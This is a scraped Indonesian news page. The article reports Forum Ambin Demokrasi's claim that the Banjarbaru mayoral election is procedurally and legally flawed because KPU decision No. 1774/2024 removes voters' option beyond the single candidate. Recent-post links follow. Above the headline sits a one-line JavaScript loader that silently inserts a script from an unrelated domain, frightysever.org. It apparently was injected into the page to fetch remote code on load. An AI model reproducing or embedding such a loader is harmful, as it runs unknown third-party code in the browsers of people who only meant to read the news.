(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Forum Ambin Demokrasi: Pilwali Banjarbaru Cacat Prosedural dan Cacat Hukum


KANALKALIMANTAN.COM, BANJARBARU – Forum Ambin Demokrasi turut menyikapi jalannya proses demokrasi dalam Pemilihan Wali Kota dan Wakil Wali Kota (Pilwali) Banjarbaru yang dilakukan oleh Komisi Pemilihan Umum (KPU) Kota Banjarbaru.

Menyusul diterbitkannya Keputusan Komisi Pemilihan Umum (Kpt) Nomor 1774 Tahun 2024 tentang Pedoman Teknis Pelaksanaan Pemungutan dan Perhitungan Suara dalam Pilkada 2024.

Sebagai organisasi masyarakat sipil yang peduli terhadap perhelatan Pilkada yang demokratis, jujur, adil, dan bermartabat mereka menyatakan pendapatnya.

Baca juga: Tak Ada Pilihan Kotak Kosong di Pilwali Banjarbaru

Pertama, salah satu pegiat Forum Ambin Demokrasi, Noorhalis Majid berpendapat semua potensi kekacauan Pilwali Banjarbaru terjadi karena KPU Kota Banjarbaru tidak melaksanakan Undang-Undang dan PKPU terkait Pilkada dengan hanya satu calon.

“Kedua KPU RI melalui putusannya Nomor 1774 telah mengamputasi hak pilih warga yang punya hak untuk memilih selain calon yang ada,” ujar Noorhalis Majid.

Poin ketiga, pihaknya menyesalkan sikap KPU RI yang tidak mempedomani Undang-Undang dan PKPU Pilkada dengan hanya satu calon dan menerbitkan peraturan teknis yang justru menjadi alat pembenar atas sikap KPU Kota Banjarbaru yang tidak melaksanakan Undang-Undang.

Baca juga: Masa Tenang Pilkada 2024, Bawaslu Banjarbaru: Medsos Juga Diawasi

Di sisi lain pihaknya menyatakan bahwa dalam situasi seperti ini, warga dapat menggugat proses Pilkada dan hasilnya, untuk menguji keputusan KPU RI yang bertentangan dengan Undang-Undang.

Pihaknya berpendapat Pilwali Banjarbaru sudah tidak sesuai dengan Undang-Undang Pilkada, utamanya terkait ketentuan Pilkada dengan hanya satu calon.

Baca juga: FDM HSU Ajak Masyarakat Awasi Pilkada 2024

“‘Maka Pilkada Kota Banjarbaru cacat prosedural, cacat hukum dan tidak sah, menjadi demokrasi yang hampa, sehingga seluruh proses dan hasilnya kehilangan makna dan bisa dibatalkan,” tandas dia.(Kanalkalimantan.com/wanda)

Reporter: wanda
Editor: bie


Muhammad Andi

Recent Posts

Masa Tenang Pilkada 2024, Bawaslu Banjarbaru: Medsos Juga Diawasi

KANALKALIMANTAN.COM, BANJARBARU - Kota Banjarbaru mulai masuk masa tenang jelang Pemilihan Kepala Daerah (Pilkada) Serentak… Read More

52 menit ago

Tak Ada Pilihan Kotak Kosong di Pilwali Banjarbaru

Coblos Paslon yang Dibatalkan Suara Dianggap Tidak Sah Read More

60 menit ago

Akhiri Masa Cuti, Aditya Kembali ke Balai Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Penjabat Sementara (Pjs) Wali Kota Banjarbaru Dra Hj Nurliani MAP telah bertugas… Read More

6 jam ago

FDM HSU Ajak Masyarakat Awasi Pilkada 2024

KANALKALIMANTAN.COM, AMUNTAI -  Menjelang hari pemilihan dan memasuki masa tenang Pemilihan Kepala Daerah (Pilkada) 2024,… Read More

6 jam ago

KPU HSU Mulai Distribusikan Logistik Pilkada ke 10 Kecamatan

KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) mulai mendistribusikan logistik… Read More

7 jam ago

Pelajar dari 23 Negara Ikuti OPPO RUN 2024

KANALKALIMANTAN.COM, BALI – Didukung oleh BRImo, OPPO Indonesia resmi menggelar OPPO RUN 2024 yang berlangsung… Read More

9 jam ago

This website uses cookies.